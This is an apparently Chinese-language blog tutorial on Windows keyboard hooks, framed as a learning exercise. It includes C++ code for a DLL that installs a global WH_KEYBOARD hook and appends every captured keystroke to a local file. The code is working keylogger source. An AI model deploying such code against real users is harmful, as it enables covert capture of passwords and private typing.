初试Hook与键盘记录程序

                初试Hook与键盘记录程序

最近开始接触hook程序，在此基础之上制作了一个键盘记录小程序，并将所遇到的问题记录下来和大家分享。

一：基本概念
1.钩子（hook）
是windows消息处理机制的一个平台，钩子机制允许应用程序截获处理windows消息或者其他特定事件，钩子实际上是一个处理消息的程序段，通过系统调用把他挂入系统。每当特定的消息发出，在没有到达目的窗口之前，被钩子程序所捕获，钩子程序即可加工处理该消息。
2.钩子的安装与释放
使用SetWindowsHookEx把一个应用程序定义的钩子安装到钩子链表中，这个函数总是在hook开头安装hook子程，
UnHookWindowsHookEx（）进行释放。
3.共享数据段
#progma data_seg 预处理指令用于设置共享数据段

#pragma data_seg("SharedDataName")
HHOOK hHook=NULL;
#pragma data_seg()

在这两个预处理之间的数据被所有的调用dll的共享。

二：键盘记录程序简析：
1.建立一个dll程序
这个dll程序用来处理键盘收到的消息，主要的消息处理函数如下：

DllExport void WINAPI InstallHook(HWND hwnd)
{
    h_wnd=hwnd;
    CHANGEFILTERSTRUCT chfit = { sizeof(CHANGEFILTERSTRUCT) };
    CallChangeWindowMessageFilter(h_wnd,WH_KEYBOARD, MSGFLT_ALLOW, &chfit);
    CallChangeWindowMessageFilter(h_wnd,WM_MYMSG,MSGFLT_ALLOW, &chfit);
    Hook=(HHOOK)SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)mfcHook,theApp.m_hInstance,0);//an zhuang quan ju gou zi
}

其中由于win7高权限进程无法接收低权限进程发送的消息，因此，在安装钩子程序之前，需对程序的消息进行过滤。
在安装钩子程序以后，即可设置回调函数，在钩子回调函数中，记录按键的值，并发送自定义消息给目标程序，钩子处理完成之后，转发钩子消息。若想截断消息的传输，便设置不返回。

LRESULT CALLBACK mfcHook(int nCode,WPARAM wParam,LPARAM lParam)
{
    if(nCode==HC_ACTION) 
    { 
        if(lParam & 0x80000000) 
        { 
            char ch=MapVirtualKey(wParam,2); 
            fstream dataFile;
            dataFile.open("aaa.txt",ios::app);
            dataFile<<ch;
            dataFile.close();
            if (h_wnd)
            {
                ::PostMessage(h_wnd,WM_MYMSG,++nKeydown,0);
            }
        } 
    } 
    LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam);
    return Result; 
}

2.建立启动程序
调用此dll的程序相对简单，便不在赘述。